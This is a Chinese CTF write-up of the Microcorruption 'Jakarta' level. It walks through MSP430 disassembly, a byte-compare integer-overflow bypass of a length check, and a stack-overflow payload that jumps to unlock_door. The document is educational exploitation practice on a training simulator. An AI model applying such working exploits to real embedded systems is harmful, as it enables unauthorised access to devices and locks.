既然第一次写MicroCorruption,必须先安利一下这个 网站:https://microcorruption.com/
反正我安利的网站都有一个特点,就是很适合很适合小白,所以大佬们请移玉臀。
这是一张MicroCorruption网站的截图,网站的title其实是Embedded Security CTF,是嵌入式设备的CTF。
说得好听是嵌入式设备的CTF,其实只不过是单片机的Pwn而已。小白能力有限,Pwn一下Msp430,是一个不错的开始。
下面是游戏的界面。
这个游戏的设定是有一把Msp430控制的锁,你现在要在不知道密码的情况下,利用二进制漏洞把它打开。它的每一关都是世界上的一个地名,可能意思是要你征战全世界?Whatever.
游戏给你提供了一个调试器,可以从界面看到反汇编的代码,内存的情况,特殊寄存器的情况等。调试器通过Debugger Console控制。刚开始学习的话可以看看它给的Tutorial,非常有用。
于是我们就可以开始今天的游戏了。
学期开始的时候我花了两三天打了几个,感觉醍醐灌顶。但是后来苦于项目结题以及考试什么的,就一直搁置了…悲痛欲绝…
现在终于可以继续了!这次是Jakarta.
以下是汇编代码:
完整版的附件在此:pwn_integer_overflow
63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
4560 <login> 4560: 0b12 push r11 4562: 3150 deff add #0xffde, sp 4566: 3f40 8244 mov #0x4482 "Authentication requires a username and password.", r15 456a: b012 c846 call #0x46c8 <puts> 456e: 3f40 b344 mov #0x44b3 "Your username and password together may be no more than 32 characters.", r15 4572: b012 c846 call #0x46c8 <puts> 4576: 3f40 fa44 mov #0x44fa "Please enter your username:", r15 457a: b012 c846 call #0x46c8 <puts> 457e: 3e40 ff00 mov #0xff, r14 4582: 3f40 0224 mov #0x2402, r15 4586: b012 b846 call #0x46b8 <getsn> 458a: 3f40 0224 mov #0x2402, r15 458e: b012 c846 call #0x46c8 <puts> 4592: 3f40 0124 mov #0x2401, r15 4596: 1f53 inc r15 4598: cf93 0000 tst.b 0x0(r15) 459c: fc23 jnz #0x4596 <login+0x36> 459e: 0b4f mov r15, r11 45a0: 3b80 0224 sub #0x2402, r11 45a4: 3e40 0224 mov #0x2402, r14 45a8: 0f41 mov sp, r15 45aa: b012 f446 call #0x46f4 <strcpy> 45ae: 7b90 2100 cmp.b #0x21, r11 45b2: 0628 jnc #0x45c0 <login+0x60> 45b4: 1f42 0024 mov &0x2400, r15 45b8: b012 c846 call #0x46c8 <puts> 45bc: 3040 4244 br #0x4442 <__stop_progExec__> 45c0: 3f40 1645 mov #0x4516 "Please enter your password:", r15 45c4: b012 c846 call #0x46c8 <puts> 45c8: 3e40 1f00 mov #0x1f, r14 45cc: 0e8b sub r11, r14 45ce: 3ef0 ff01 and #0x1ff, r14 45d2: 3f40 0224 mov #0x2402, r15 45d6: b012 b846 call #0x46b8 <getsn> 45da: 3f40 0224 mov #0x2402, r15 45de: b012 c846 call #0x46c8 <puts> 45e2: 3e40 0224 mov #0x2402, r14 45e6: 0f41 mov sp, r15 45e8: 0f5b add r11, r15 45ea: b012 f446 call #0x46f4 <strcpy> 45ee: 3f40 0124 mov #0x2401, r15 45f2: 1f53 inc r15 45f4: cf93 0000 tst.b 0x0(r15) 45f8: fc23 jnz #0x45f2 <login+0x92> 45fa: 3f80 0224 sub #0x2402, r15 45fe: 0f5b add r11, r15 4600: 7f90 2100 cmp.b #0x21, r15 4604: 0628 jnc #0x4612 <login+0xb2> 4606: 1f42 0024 mov &0x2400, r15 460a: b012 c846 call #0x46c8 <puts> 460e: 3040 4244 br #0x4442 <__stop_progExec__> 4612: 0f41 mov sp, r15 4614: b012 5844 call #0x4458 <test_username_and_password_valid> 4618: 0f93 tst r15 461a: 0524 jz #0x4626 <login+0xc6> 461c: b012 4c44 call #0x444c <unlock_door> 4620: 3f40 3245 mov #0x4532 "Access granted.", r15 4624: 023c jmp #0x462a <login+0xca> 4626: 3f40 4245 mov #0x4542 "That password is not correct.", r15 462a: b012 c846 call #0x46c8 <puts> 462e: 3150 2200 add #0x22, sp 4632: 3b41 pop r11 4634: 3041 ret |
完整来看是有一丢丢的长,但其实我们关注的重点放在<login>函数就好了。
曾经我在Youtube上见过大神手画Control flow,很帅。
于是我也来画一下好了。
username输入 “AB”*8 观察一下内存:
这个字符串首先会被存在一个缓冲区
然后数完长度之后会被<strcpy>copy到目标的内存,其实也就是栈里。
这个时候我们看到了,在栈底,有一个似曾相识的数字,4044?是什么?
显然这就是小端存储的<login>的返回地址4440了,这也是我们通过栈溢出能压到的唯一一个返回地址。
这个程序比较奇葩的一点是长度检查是在copy之后进行的。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
45aa: b012 f446 call #0x46f4 <strcpy> 45ae: 7b90 2100 cmp.b #0x21, r11 45b2: 0628 jnc #0x45c0 <login+0x60> ... 45ea: b012 f446 call #0x46f4 <strcpy> 45ee: 3f40 0124 mov #0x2401, r15 45f2: 1f53 inc r15 45f4: cf93 0000 tst.b 0x0(r15) 45f8: fc23 jnz #0x45f2 <login+0x92> 45fa: 3f80 0224 sub #0x2402, r15 45fe: 0f5b add r11, r15 4600: 7f90 2100 cmp.b #0x21, r15 4604: 0628 jnc #0x4612 <login+0xb2> |
两次都是这个样子。其实送人头送得很明显,意思就是你无论如何都能把你的输入送到栈里,只不过后面的长度校验你可能通不过。
那于是我们的目标就会变成绕过后面的长度检查。这里的漏洞实际上就是这两句代码:
1 2 |
4600: 7f90 2100 cmp.b #0x21, r15 4604: 0628 jnc #0x4612 <login+0xb2> |
查一查cmp.b,就会知道.b是指令助记符后缀,会导致字节操作,相当于是判断下面这个式子。
1 |
(r15 & 0xff) >= 0x20 |
也就是说,尽管r15是16位的寄存器,比较的时候也只比较低八位。所以就很清楚了,可以通过溢出r15到0x0100使得低八位小于等于0x20。
这个就有些类似于所谓的整数溢出漏洞。
于是我们就可以开始构造Payload。
需要注意两点:
- 第一轮的校验在长度不超过0x20的时候可以通过
- 第二轮的校验,因为需要覆盖<login>的返回地址,所以必须通过溢出r15绕过
所以将Payload放在第一轮的32个字节内,然后将返回地址覆盖为Payload的起始地址即可。
我们目标的内存状态是这样的:
1 2 3 4 5 |
3ff0: da45 3040 1c46 4141 4141 4141 4141 4141 4000: 4141 4141 4141 4141 4141 4141 4141 4141 4010: 4141 4242 4242 f23f 4242 4242 4142 4242 ....... 40f0: 4242 00 |
这样通过整数溢出绕过第二轮的校验之后,<login>调用<test_username_and_password_valid>会得到密码错误,然后结束ret。
这个时候的返回地址被覆盖成了3ff2,于是程序寄存器就是变为3ff2,指向语句30401c46。
30401c46是 mov #461c, pc 的机器码,这个需要通过网站提供的汇编器获得,如下图。
于是可以将Payload构造如下:
username: “30401c46″+”41″*(0x20-4)
password: “42”*4+”f23f”+”42″*(0x100-0x20-6)
可见r15被溢出成了0x0100,内存也已经变成我们想要的样子了。
接下来我们看到,第二次校验被绕过,程序继续执行。
最后结果,当然是很明显的。